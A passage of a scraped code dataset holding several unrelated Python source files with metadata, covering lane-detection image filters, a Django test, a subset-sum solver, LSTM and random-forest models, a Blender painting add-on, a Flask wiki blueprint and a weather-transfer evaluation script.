thresh[1])] = 1\n return binary_output\n\n\ndef direction_sobel(img, sobel_kernel = 3, thresh=(0, np.pi/2)):\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n\n sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n\n abs_gradient_direction = np.arctan(np.absolute(sobely), np.absolute(sobelx))\n binary_output = np.zeros_like(abs_gradient_direction)\n binary_output[(abs_gradient_direction >= thresh[0]) & (abs_gradient_direction <= thresh[1])] = 1\n return binary_output\n\n\ndef color_select(img, sthresh=(0, 255), vtresh=(0,255)):\n hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n s_channel = hls[:,:,2]\n binary_output_s = np.zeros_like(s_channel)\n binary_output_s[(s_channel > sthresh[0]) & (s_channel <= sthresh[1])] = 1\n\n hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n v_channel = hsv[:,:,2]\n binary_output_v = np.zeros_like(v_channel)\n binary_output_v[(v_channel > vtresh[0]) & (v_channel <= vtresh[1])] = 1\n\n binary_output = np.zeros_like(s_channel)\n binary_output[(binary_output_s == 1) & (binary_output_v == 1)] = 1\n return binary_output\n\ndef transform(img):\n # img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n img_size = (img.shape[1], img.shape[0])\n\n img_width = img_size[0]\n img_height = img_size[1]\n\n bottom_width_pct = .76\n bottom_width = img_width * bottom_width_pct\n\n top_width_pct = .08\n top_width = img_width * top_width_pct\n\n top_trim = .62\n bottom_trim = 0.935\n\n left_top_src = [img_width/2 - top_width/2, img_height * top_trim]\n right_top_src = [img_width/2 + top_width/2, img_height * top_trim]\n left_bottom_src= [img_width/2 - bottom_width/2, img_height * bottom_trim]\n right_bottom_src = [img_width/2 + bottom_width/2, img_height * bottom_trim]\n\n offset = img_width*.20\n left_top_dst = [offset, 0]\n right_top_dst = [img_width-offset, 0]\n left_bottom_dst = [offset, img_height]\n right_bottom_dst = [img_width-offset, img_height]\n\n src = np.float32([left_top_src, right_top_src, right_bottom_src, left_bottom_src])\n dst = np.float32([left_top_dst, right_top_dst, right_bottom_dst, left_bottom_dst])\n\n M = cv2.getPerspectiveTransform(src, dst)\n Minv = cv2.getPerspectiveTransform(dst, src)\n warped = cv2.warpPerspective(img, M, img_size)\n return warped, M, Minv\n\n\nobjpoints, imgpoints = my_cc.camera_calibration()\n\ndef pipeline(img):\n undistored = my_cc.undistort(img, objpoints, imgpoints)\n\n sobelx = abs_sobel(undistored, 'x', (50, 255))\n sobely = abs_sobel(undistored, 'y', (25, 255))\n color_binary = color_select(undistored, sthresh=(100, 255), vtresh=(50, 255))\n\n combined = np.zeros_like(sobelx)\n combined[((sobelx == 1) & (sobely == 1) | (color_binary == 1))] = 1\n\n transformed, M, Minv = transform(combined)\n\n return transformed, M, Minv\n\n\n# objpoints, imgpoints = my_cc.camera_calibration()\n# undistored = my_cc.undistort(img, objpoints, imgpoints)\n#\n# sobelx = abs_sobel(undistored, 'x', (50,255))\n# sobely = abs_sobel(undistored, 'y', (25, 255))\n#\n# mag_binary = gradmag_sobel(undistored, thresh=(150,200))\n# dir_binary = direction_sobel(undistored, thresh=(np.pi/4, np.pi/2))\n# color_binary = color_select(undistored, sthresh=(100, 255), vtresh=(50,255))\n#\n#\n# combined = np.zeros_like(mag_binary)\n# combined[((sobelx == 1) & (sobely == 1) | (color_binary == 1) )] = 1\n#\n#\n# transformed_nobinary, M_nb, Minv_mb = transform(undistored)\n# transformed, M, Minv = transform(combined)\n#\n#\n# img = cv2.imread('./test_images/test3.jpg')\n# img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n# thresholded, M, Minv = pipeline(img)\n#\n# f, (ax1, ax2) = plt.subplots(1, 2, figsize=(24, 9))\n# f.tight_layout()\n# ax1.imshow(img)\n# ax1.set_title('Original', fontsize=50)\n# ax2.imshow(thresholded, cmap='gray')\n# ax2.set_title('Thresholded', fontsize=50)\n# plt.subplots_adjust(left=0., right=1, top=0.9, bottom=0.)\n# plt.show()\n","sub_path":"my_img_manipulations.py","file_name":"my_img_manipulations.py","file_ext":"py","file_size_in_byte":5038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"122028086","text":"from datetime import datetime\n\nfrom django.test import TestCase\nfrom pymongo import MongoClient\n\nfrom visualSHARK.models import Project\n\n\nclass GraphTests(TestCase):\n # fixtures = ['base']\n\n def setUp(self):\n c = MongoClient(host='mongomock://localhost')\n self._db = c.test\n\n t1 = self._db.Project.insert_one({\"name\": 'Testproject'})\n t2 = self._db.VCSSystem.insert_one({\"url\": 'http://localhost/testproject.git', \"project_id\": t1.inserted_id, 'repository_type': 'git', 'last_updated': datetime.now()})\n\n p1 = self._db.People.insert_one({'email': 'testuser@test.local', 'name': 'Test User', 'username': 'testuser'})\n c = self._db.Commit.insert_one({'vcs_system_id': t2.inserted_id, 'revision_hash': 'abc', 'author_id': p1.inserted_id, 'author_date': datetime.now(), 'committer_id': p1.inserted_id, 'committer_date': datetime.now(), 'message': 'initial commit'})\n\n def test_projects(self):\n np = len(Project.objects.all())\n self.assertEqual(np, 1)\n","sub_path":"visualSHARK/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"177696120","text":"import string\nimport sys\n\nsys.setrecursionlimit(10**9)\ninput = sys.stdin.readline\n\narrSize, target = map(int, input().split())\nfullArr = list(map(int, input().split()))\nleftArr = fullArr[:arrSize//2]\nrightArr = fullArr[arrSize//2:]\ncount = 0\n\n#크기와 합한 결과만 넘긴다\ndef BT(sumDict, numArr, count = 0, lastIndex = -1, sumResult = 0):\n if count != 0:\n if sumResult in sumDict:\n sumDict[sumResult] += 1\n else:\n sumDict[sumResult] = 1\n\n for index in range(lastIndex + 1, len(numArr)):\n sumResult += numArr[index]\n BT(sumDict, numArr, count + 1, index, sumResult)\n sumResult -= numArr[index]\n\n#왼쪽과 오른쪽 배열의 조합의 합을 계산한다\nleftSum = dict()\nrightSum = dict()\nBT(leftSum, leftArr)\nBT(rightSum, rightArr)\n\n#왼쪽이나 오른쪽에서 해당하는 값이 있는지 찾아서 결과에 반영\nif target in leftSum:\n count += leftSum[target]\n\nif target in rightSum:\n count += rightSum[target]\n\n#왼쪽과 오른쪽을 더해서 목표값이 되는 경우를 이분탐색으로 찾아 결과에 반영\nleftResult = sorted(leftSum.keys())\nrightResult = sorted(rightSum.keys())\n\nleftIndex = 0\nrightIndex = len(rightResult) - 1\n\nwhile leftIndex < len(leftResult) and rightIndex >= 0:\n sumVal = leftResult[leftIndex] + rightResult[rightIndex]\n if sumVal == target:\n count += leftSum[leftResult[leftIndex]] * rightSum[rightResult[rightIndex]]\n\n if sumVal < target:\n leftIndex += 1\n else:\n rightIndex -= 1\n \nprint(count)","sub_path":"BAEKJOON/1000~/1208_부분수열의 합2_python/CodingTest.py","file_name":"CodingTest.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"461573396","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom math import sqrt\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_squared_error\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import LSTM\nfrom tensorflow.keras.layers import Dense\nfrom config import *\n\nNEUROL = Config.LSTM['neurol']\nBATCH_SIZE = Config.LSTM['batch_size']\nEPOCHS = Config.LSTM['epochs']\n\ndef fit_model(x_train, y_train, x_val, y_val, neurol, batch_size, nb_epochs):\n X = x_train\n y = y_train\n model = Sequential()\n model.add(LSTM(neurol, batch_input_shape=(batch_size, X.shape[1], X.shape[2]), stateful=True))\n model.add(Dense(1))\n model.compile(loss='mse', optimizer='adam')\n for i in range(nb_epochs):\n model.fit(X, y, epochs=1, batch_size=batch_size, validation_data=(x_val, y_val), verbose=2, shuffle=False)\n model.reset_states()\n return model\n\ndef accuracy(X, Y, scaler, model):\n Y_predict = model.predict(X)\n a = np.arange(X.shape[0])\n Y_predict = scaler.inverse_transform(Y_predict)\n Y = scaler.inverse_transform(Y)\n #print(\"Y_predict :\", Y_predict)\n #print(\"Y \", Y)\n print(\"error :\", sqrt(mean_squared_error(Y, Y_predict)))\n plt.plot(a, Y_predict)\n plt.plot(a, Y)\n plt.show()\n\ndef input_data(a):\n val, train, test = a.split_gru_lstm()\n X_train, Y_train = a.windows_sliding(Config.GRU['lock_back'], train)\n X_test, Y_test = a.windows_sliding(Config.GRU['lock_back'], test)\n X_val, Y_val = a.windows_sliding(Config.GRU['lock_back'], val)\n return X_train,Y_train,X_test,Y_test,X_val,Y_val\n\n\n\n\n","sub_path":"Src/LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"456091102","text":"# 모듈 로딩 -------------------------------------------------\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn import metrics\nfrom sklearn.model_selection import train_test_split\n\n# --------------------------------------------------\n# 데이터 준비\n# --------------------------------------------------\n# 데이터 가져오기\nmr = pd.read_csv(\"../../DATA/MUSH/mushroom.csv\", header=None)\nprint(\"No Header => \", mr)\n\n# 데이터 가공\nlabel = []\ndata = []\nfor row_index, row in mr.iterrows():\n print('row_index =>', row_index)\n print('row =>', row)\n label.append(row.iloc[0]) # 독버섯 여부 값 라벨데이터 추출\n print('row.iloc[0] =>', row.iloc[0])\n\n row_data = []\n for v in row.iloc[1:]:\n row_data.append(ord(v)) # 버섯 특징 22가지 문자코드값 변환\n\n print('row_data =>', row_data)\n data.append(row_data)\n\n# --------------------------------------------------\n# 학습\n# --------------------------------------------------\n# 학습 전용과 테스트 전용 데이터 준비\ndata_train, data_test, label_train, label_test = \\\n train_test_split(data, label)\n\n# 데이터 학습\nclf = RandomForestClassifier()\nclf.fit(data_train, label_train)\n\n# 데이터 예측\npredict = clf.predict(data_test)\n\n# --------------------------------------------------\n# 결과 출력\n# --------------------------------------------------\n# 결과 테스트\nac_score = metrics.accuracy_score(label_test, predict)\ncl_report = metrics.classification_report(label_test, predict)\nprint(\"정답률 =\", ac_score)\nprint(\"리포트 =\\n\", cl_report)","sub_path":"PythonAI/Source/W2D4/MUSH/mushroom-train.py","file_name":"mushroom-train.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"528493487","text":"# -*- coding: utf8 -*-\n# python\n# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\n# \n\nbl_info = {\"name\": \"EZ Draw Pie\",\n \"author\": \"CDMJ, Spirou4D\",\n \"version\": (2, 30),\n \"blender\": (2, 78, 0),\n \"location\": \"Os key + W\",\n \"description\": \"Pie Menu for EZ Draw addon\",\n \"warning\": \"Run only in BI now\",\n \"wiki_url\": \"\",\n \"category\": \"Paint\"}\n\nimport bpy\nfrom bpy.types import Operator, Menu\n\nimport math\nimport os\nSEP = os.sep\n\n\n########################\n# Functions #\n########################\n#------------------------------------------------------GET THE ADDON PREFERENCES\ndef get_addon_prefs_corr(key):\n Addons = bpy.context.user_preferences.addons\n \n for i in Addons:\n if Addons.find(key) != -1:\n break\n elif Addons.find(key+'-master') != -1:\n key = key+'-master'\n break\n else:\n return -1\n \n return Addons[key].preferences\n\n\ndef main_canvas_data(self, context):\n scene = context.scene\n #default datas\n name = ext = filepath = dimX = dimY = ''\n \n if scene.ezdraw is not None: #if main canvas isn't erased\n if len(scene.ezdraw) > 0:\n for main_canvas in scene.ezdraw: #look for the main canvas\n name = (main_canvas.filename)[:-4]\n ext = (main_canvas.filename)[-4:]\n filepath = main_canvas.path\n dimX = main_canvas.dimX\n dimY = main_canvas.dimY\n\n return [name, ext, filepath, dimX, dimY]\n\n\n#----------------------------------------------------------------NOT YET USED !!\ndef poll_apt(self, context):\n scene = context.scene\n #Init\n obj = context.active_object\n empty = scene.maincanvas_is_empty\n main_canvas = main_canvas_data(self, context)\n\n if empty or main_canvas[0] == '':\n return False\n\n if obj is not None:\n return obj.name == main_canvas[0]\n else:\n return False\n\n\n########################\n# CLASSES #\n########################\nclass canvasPopup(Operator):\n bl_idname = \"ez_draw.popup\"\n bl_label = \"EZ Draw Popup\"\n bl_options = {'REGISTER', 'UNDO'}\n\n @classmethod\n def poll(cls, context):\n obj = context.active_object\n A = obj is not None\n B = context.mode == 'PAINT_TEXTURE'\n C = context.mode == 'EDIT_CURVE'\n return A and (B or C)\n\n def check(self, context):\n return True\n\n def invoke(self, context, event):\n return context.window_manager.invoke_props_dialog(self, width=240)\n\n def execute(self, context):\n return {'FINISHED'}\n\n def draw(self, context):\n addon_prefs = get_addon_prefs_corr('ez_draw')\n if addon_prefs == -1:\n print(\"You must install the 'EZ DRAW' Add-On, please\")\n return {'FINISHED'}\n\n scene =context.scene\n CustomAngle = str(addon_prefs.customAngle)\n toolsettings = context.tool_settings\n ipaint = toolsettings.image_paint\n \n stencil_text = \"\"\n if context.active_object is not None :\n ob = context.active_object\n if ob.type == 'MESH' and ob.data.uv_texture_stencil is not None :\n stencil_text = ob.data.uv_texture_stencil.name\n\n mask_V_align = scene.mask_V_align\n buttName_1 = CustomAngle +\"°\"\n buttName_2 = CustomAngle +\"°\"\n\n layout = self.layout\n layout.active = context.scene.ui_is_activated\n\n row = layout.row(align = True)\n row1 = row.split(align=True)\n row1.label(\" \")\n row2 = row.split(align=True)\n if scene.game_settings.material_mode == 'GLSL':\n row2.operator(\"ez_draw.multitexture\",\n text='Shading', icon=\"RADIO\")\n else:\n row2.operator(\"ez_draw.glsl\",\n text='Shading', icon=\"RENDERLAYERS\")\n row2.scale_x = 0.40\n\n\n box = layout.box()\n col = box.column(align=True)\n col.label(\"CANVAS MASKING TOOLS\")\n \n col.prop(ipaint, \"use_stencil_layer\", text=\"Stencil mask\")\n if ipaint.use_stencil_layer:\n col.menu(\"VIEW3D_MT_tools_projectpaint_stencil\", \\\n text=stencil_text, translate=False)\n col.template_ID(ipaint, \"stencil_image\", open=\"image.open\")\n col.operator(\"image.new\", \\\n text=\"New stencil\").gen_context = 'PAINT_STENCIL'\n row = col.row(align = True)\n row.prop(ipaint, \"stencil_color\", text=\"\")\n row.prop(ipaint, \"invert_stencil\",\n text=\"Invert the mask\",\n icon='IMAGE_ALPHA')\n \n col.separator() #empty line\n \n row = col.row(align = True)\n row.operator(\"ez_draw.sculpt_duplicate\", \\\n text = \"Sculpt Duplicate\", \\\n icon = 'COPY_ID')\n row.operator(\"ez_draw.sculpt_liquid\", \\\n text = \"Sculpt Liquid\", \\\n icon = 'MOD_WAVE')\n \n col.separator() #empty line\n \n col.operator(\"ez_draw.trace_selection\", \\\n text = \"Mask from Gpencil\", \\\n icon = 'OUTLINER_OB_MESH')\n\n col.separator() #empty line\n\n col.operator(\"ez_draw.curve_2dpoly\", \\\n text = \"Make Vector Contour\", \\\n icon = 'PARTICLE_POINT')\n\n row = col.row(align = True)\n row.operator(\"ez_draw.curve_unwrap\", \\\n text = \"To Mesh Mask\", \\\n icon = 'OUTLINER_OB_MESH')\n row.operator(\"ez_draw.inverted_mask\", \\\n text = \"To Inverted Mesh Mask\", \\\n icon = 'MOD_TRIANGULATE')\n\n col.separator() #empty line\n \n row = col.row(align = True) #BOOL MASK AND REUSE\n row1 = row.split(align=True)\n row1.label(text=\"Bool\")\n row1.scale_x = 0.30\n row2 = row.split(align=True)\n row2.operator(\"ez_draw.solidfy_difference\", \\\n text=\" Difference\", icon = 'ROTACTIVE')\n row2.operator(\"ez_draw.solidfy_union\", \\\n text=\" Union\", \\\n icon = 'ROTATECOLLECTION')\n row2.scale_x = 1.00\n row.separator()\n row3 = row.split(align=True)\n row3.operator(\"ez_draw.reproject_mask\", \\\n text=\" Reproject\", icon = 'NODE_SEL')\n row3.scale_x = 1.10\n row4 = row.split(align=True)\n row4.operator(\"ez_draw.remove_modifiers\", icon='RECOVER_LAST')\n \n col.separator() #empty line\n \n col.label(\"Masks Alignment\") #ALIGNEMENT\n row = col.row(align = True) #TABLEAU\n \n row1 = row.split(align = True) #Column 1\n row1.scale_x = 1.00\n col1 = row1.column(align = True)\n col1.label(\"\")\n col1.operator(\"object.align_left\", \\\n text=\"Left\", icon = 'TRIA_LEFT_BAR')\n col1.label(\"\")\n \n \n row2 = row.split(align = True) #column 2\n row2.scale_x = 1.00\n col2 = row2.column(align = True)\n col2.operator(\"object.align_top\", text=\"Top\", icon = 'TRIA_UP_BAR')\n if mask_V_align:\n col2.operator(\"object.align_hcenter\", \\\n text=\"Center V\", icon = 'GRIP')\n else:\n col2.operator(\"object.align_center\", \\\n text=\"Center H\", icon = 'PAUSE')\n col2.operator(\"object.align_bottom\", \\\n text=\"Bottom\", icon = 'TRIA_DOWN_BAR')\n col2.operator(\"object.center_align_reset\", icon='RECOVER_LAST')\n \n \n row3 = row.split(align = True) #column 3\n row3.scale_x = 1.00\n col3 = row3.column(align = True)\n col3.label(\"\")\n col3.operator(\"object.align_right\", \\\n text=\"Right\", icon = 'TRIA_RIGHT_BAR')\n col3.label(\"\")\n \n col.separator() #empty line\n\n box = layout.box() #canvas frame constraint\n col = box.column(align = True)\n col.label(text=\"CANVAS MOVEMENT\")\n row = col.row(align = True)\n row1 = row.split(align=True)\n row1.label(text=\"Mirror\")\n row1.scale_x = 0.60\n row.separator() #empty line\n row2 = row.split(align=True)\n row2.prop(ipaint, \"use_symmetry_x\", text=\"Hor.\", toggle=True)\n row2.prop(ipaint, \"use_symmetry_y\", text=\"Ver.\", toggle=True)\n row2.scale_x = 0.70\n row.separator()\n row3 = row.split(align=True)\n row3.operator(\"ez_draw.set_symmetry_origin\",\n text=\"New\", icon='VIEW3D_VEC')\n row3.scale_x = 0.60\n row4 = row.split(align=True)\n row4.operator(\"ez_draw.reset_origin\",\n text=\"\", icon='RECOVER_AUTO')\n\n col.separator() #empty line\n\n row = col.row(align = True)\n row.operator(\"ez_draw.canvas_horizontal\",\n text=\"Canvas Flip Horizontal\", icon='ARROW_LEFTRIGHT')\n row.operator(\"ez_draw.canvas_vertical\",\n text = \"Canvas Flip Vertical\", icon = 'FILE_PARENT')\n\n\n row = col.row(align = True) #rotation\n row.label(text=\"Rotation\")\n row.prop(context.scene, \"canvas_in_frame\" ,\n text=\"Frame Constraint\")\n row.enabled = poll_apt(self, context)\n\n row = col.row(align = True)\n row.operator(\"ez_draw.rotate_ccw_15\",\n text = \"Rotate -\" + buttName_1, icon = 'TRIA_LEFT')\n row.operator(\"ez_draw.rotate_cw_15\",\n text = \"Rotate +\" + buttName_2, icon = 'TRIA_RIGHT')\n\n row = col.row(align = True)\n row.operator(\"ez_draw.rotate_ccw_90\",\n text = \"Rotate 90° CCW\", icon = 'PREV_KEYFRAME')\n row.operator(\"ez_draw.rotate_cw_90\",\n text = \"Rotate 90° CW\", icon = 'NEXT_KEYFRAME')\n\n col.operator(\"ez_draw.canvas_resetrot\",\n text = \"Reset Rotation\", icon = 'CANCEL')\n\n#---------------------------------------------------------------------NESTED PIE\nclass OperNested(Operator):\n \"\"\"Tooltip\"\"\"\n bl_idname = \"object.oper_nested\"\n bl_label = \"Operator Nested\"\n\n @classmethod\n def poll(cls, context):\n return context.active_object is not None\n\n def execute(self, context):\n bpy.ops.wm.call_menu_pie(name=\"VIEW3D_PIE_drawtypes\")\n \n return {'FINISHED'}\n\n\n#--------------------------------------------------------------- PIE FOR EZ DRAW\nclass VIEW3D_PIE_ezdraw(Menu):\n # label is displayed at the center of the pie menu.\n bl_label = \"EZ DRAW\"\n\n def draw(self, context):\n layout = self.layout\n\n pie = layout.menu_pie()\n pie.operator(\"view3d.texture_popup\", text='Tex Mapping', icon='TEXTURE')\n pie.operator(\"view3d.brush_popup\", text='Paint Brush', icon='BRUSH_DATA')\n pie.operator(\"object.oper_nested\", text='Drawtype', icon='CANCEL')\n pie.operator(\"ez_draw.popup\", text='Canvas Control', icon='TEXTURE')\n pie.operator(\"view3d.projectpaint\", text='Slots', icon='COLLAPSEMENU')\n\n\n########################\n# REGISTER #\n########################\ndef register():\n bpy.utils.register_module(__name__)\n\n km_list = ['3D View']\n for i in km_list:\n sm = bpy.context.window_manager\n km = sm.keyconfigs.default.keymaps[i]\n kmi = km.keymap_items.new('wm.call_menu_pie', 'W', 'PRESS', oskey=True)\n kmi.properties.name = \"VIEW3D_PIE_ezdraw\"\n\ndef unregister():\n bpy.utils.unregister_module(__name__)\n\n km_list = ['3D View']\n for i in km_list:\n sm = bpy.context.window_manager\n km = sm.keyconfigs.default.keymaps[i]\n for kmi in (kmi for kmi in km.keymap_items \\\n if (kmi.idname == \"VIEW3D_PIE_ezdraw\")):\n km.keymap_items.remove(kmi)\n\nif __name__ == \"__main__\":\n register()\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"71673096","text":"import os\n\nimport flask\nfrom flask import render_template, abort\n\nfrom .models import PagesCollection, GitException\nfrom .util import load_markdown\n\nblueprint = flask.Blueprint('page', __name__)\n\ncollection = PagesCollection()\nmarkdown = load_markdown()\n\n\ndef initialize_app(app):\n app.register_blueprint(blueprint)\n\n\n@blueprint.route('/')\ndef index():\n return render_template('index.html')\n\n\n@blueprint.route('//')\ndef page(repo, page_path):\n try:\n repo = collection.get_repository(repo)\n _, ext = os.path.splitext(page_path)\n\n if not repo or ext.lower() != '.md':\n abort(404)\n\n data = repo.checkout_file(page_path)\n except (IndexError, GitException):\n abort(404)\n\n content = markdown.convert(data.decode('utf-8'))\n\n return render_template('page.html', repo=repo, path=page_path, content=content, toc=markdown.toc)\n\n\n@blueprint.before_request\ndef load_pages_list():\n flask.g.pages = collection.get_available_pages()\n","sub_path":"wiki/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"67937571","text":"from time import strptime\nimport datetime\n\n#############################################################\n# dateToInt: This function returns a log date as an integer #\n#############################################################\ndef dateToInt(year, month, day):\n dayofweek = datetime.date(year, month, day).isoweekday()\n return dayofweek\n\n#################################################################\n# whichHour: This function finds the hour the log was generated #\n#################################################################\ndef whichHour(logDateTime):\n logTime = logDateTime[13:15] # the hour is within this index range\n return logTime # return the hour of the log generation\n\n##############################################\n# exactDay: Return year month and day values #\n##############################################\ndef exactDay(logDateTime):\n yearStr = logDateTime[8:12]\n monthStr = logDateTime[4:7]\n dayStr = logDateTime[1:3]\n monthnum = strptime(monthStr,'%b').tm_mon\n year = int(yearStr)\n month = int(monthnum)\n day = int(dayStr)\n return year, month, day\n\n####################################################################################################\n# whichShow: I hard coded the show names and corresponding slots for clarity in their relationship #\n####################################################################################################\n\ndef whichShow(strlogTime, strdayofweek):\n logTime = int(strlogTime)\n dayofweek = int(strdayofweek)\n if logTime in range(6,9) and dayofweek in range(1,5):\n # print \"This is the Shannon Steele Show\" # Will pass in function\n showCounters['counter0'] += 1\n elif(logTime in range(9,12) and dayofweek in range(1,5)):\n # print \"This is the Herd-Will Geoff Show\"\n showCounters['counter1'] += 1\n elif(logTime in range(12,15) and dayofweek in range(1,5)):\n # print \"This is Vinnie's Midday Show\"\n showCounters['counter2'] += 1\n elif(logTime in range(15,18) and dayofweek in range(1,5)):\n # print \"This is the Aleister and Maggie Show\"\n showCounters['counter3'] += 1\n elif(logTime in range(19,23) and dayofweek == 3):\n # print \"This is the Steve Jones Show\"\n showCounters['counter4'] += 1\n elif(logTime in range(19,22) and dayofweek == 1):\n # print \"This is the Eye on the Target Radio Show\"\n showCounters['counter5'] += 1\n elif(logTime in range(18,23) and dayofweek == 2):\n # print \"This is the Handy Randy Show\"\n showCounters['counter6'] += 1\n elif(logTime in range(18,20) and dayofweek == 4):\n # print \"This is the Brian 'Moonshine' Varner Show\"\n showCounters['counter7'] += 1\n elif(logTime in range(20,23) and dayofweek == 4):\n # print \"This is the Best Stams Sports Show\"\n showCounters['counter8'] += 1\n elif(logTime in range(18,20) and dayofweek == 5):\n # print \"This is the TJ Dylan Show\"\n showCounters['counter9'] += 1\n elif(logTime in range(20,24) and dayofweek == 5): #this one might break (no 24th hour)\n # print \"This is Some Kind of Radio Show\"\n showCounters['counter10'] += 1\n elif(logTime in range(10,13) and dayofweek == 6):\n # print \"This is the Frenemies News Radio Show\"\n showCounters['counter11'] += 1\n elif(logTime in range(15,17) and dayofweek == 6):\n # print \"This is the Zal & Zera Game Forum\"\n showCounters['counter12'] += 1\n elif(logTime in range(17,19) and dayofweek == 6):\n # print \"This is the Undaground Wrestling Show\"\n showCounters['counter13'] += 1\n elif(logTime in range(20,24) and dayofweek == 6): #another one with same issue\n # print \"This is the Altered Realm Show\"\n showCounters['counter14'] += 1\n elif(logTime in range(14,17) and dayofweek == 7):\n # print \"This is the Bob Fritz Show\"\n showCounters['counter15'] += 1\n elif(logTime in range(19,22) and dayofweek == 7):\n # print \"This is the Sports to the Max Show\"\n showCounters['counter16'] += 1\n elif(logTime in range(22,24) and dayofweek == 7):\n # print \"This is Laura Lyn's Psychic Power Show\"\n showCounters['counter17'] += 1\n else:\n # print \"This is an undesignated time slot\"\n showCounters['counter18'] += 1","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"238515005","text":"import argparse\nimport os\nimport sys\n\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image\nfrom tqdm import tqdm\nfrom torchvision.utils import save_image\n\nfrom sklearn.metrics import classification_report, confusion_matrix\nimport seaborn as sns\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--gpu', type=int, default=1)\nparser.add_argument('--image_root', type=str,\n default='/mnt/fs2/2018/matsuzaki/dataset_fromnitta/Image/')\nparser.add_argument('--pkl_path', type=str,\n default='/mnt/fs2/2019/Takamuro/m2_research/i2w/sepalated_data.pkl')\nparser.add_argument('--cp_path', type=str,\n default='/mnt/fs2/2019/Takamuro/m2_research/weather_transferV2/cp/transfer/cls/1203_Flickr_cUNet_w-c_res101-1122e15_data-WoPerson_sky-10_L-05_SNdisc_sampler-True_loss_lamda-c1-w1-CE_b1-0.5_b2-0.9_GDratio-8_amp-True_MGpu-False_lr-1.5*0.0001_bs-24_ne-150/cUNet_cls_e0056_s600000.pt')\nparser.add_argument('--classifer_path', type=str,\n default='/mnt/fs2/2019/Takamuro/m2_research/weather_transfer/cp/classifier/cls_res101_i2w_sep-val_aug_20200408/resnet101_epoch15_step59312.pt')\nparser.add_argument('--input_size', type=int, default=224)\nparser.add_argument('--batch_size', type=int, default=5)\nparser.add_argument('--num_workers', type=int, default=8)\nparser.add_argument('--num_classes', type=int, default=5)\n\nargs = parser.parse_args()\n\nos.environ['CUDA_DEVICE_ORDER'] = \"PCI_BUS_ID\"\nos.environ['CUDA_VISIBLE_DEVICES'] = str(args.gpu)\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision as tv\nimport torchvision.transforms as transforms\nimport torchvision.models as models\nfrom torch.utils.data import Dataset\n\nsys.path.append(os.getcwd())\nfrom dataset import ClassImageLoader\nfrom cunet import Conditional_UNet\n\nif __name__ == '__main__':\n transform = transforms.Compose([\n transforms.Resize((args.input_size,)*2),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n ])\n\n s_li = ['sunny', 'cloudy', 'rain', 'snow', 'foggy']\n sep_data = pd.read_pickle(args.pkl_path)\n sep_data = sep_data['test']\n # sep_data = [p for p in sep_data if 'foggy' in p]\n print('loaded {} data'.format(len(sep_data)))\n\n dataset = ClassImageLoader(paths=sep_data, transform=transform, inf=True)\n\n loader = torch.utils.data.DataLoader(\n dataset,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n drop_last=True\n )\n random_loader = torch.utils.data.DataLoader(\n dataset,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n drop_last=True\n )\n\n # load model\n transfer = Conditional_UNet(num_classes=args.num_classes)\n sd = torch.load(args.cp_path)\n transfer.load_state_dict(sd['inference'])\n transfer.eval()\n\n classifer = torch.load(args.classifer_path)\n classifer = nn.Sequential(\n classifer,\n nn.Softmax(dim=1)\n )\n classifer.eval()\n\n transfer.cuda()\n classifer.cuda()\n\n bs = args.batch_size\n labels = torch.as_tensor(np.arange(args.num_classes, dtype=np.int64))\n onehot = torch.eye(args.num_classes)[labels].to('cuda')\n\n cls_li = []\n vec_li = []\n\n cp_name = args.cp_path.split('/')[-1].split('.')[0]\n save_path = './temp_eval_class_transfer'\n #save_path = os.path.join('/mnt/fs2/2019/Takamuro/m2_research/weather_transferV2/results/eval_transfer', 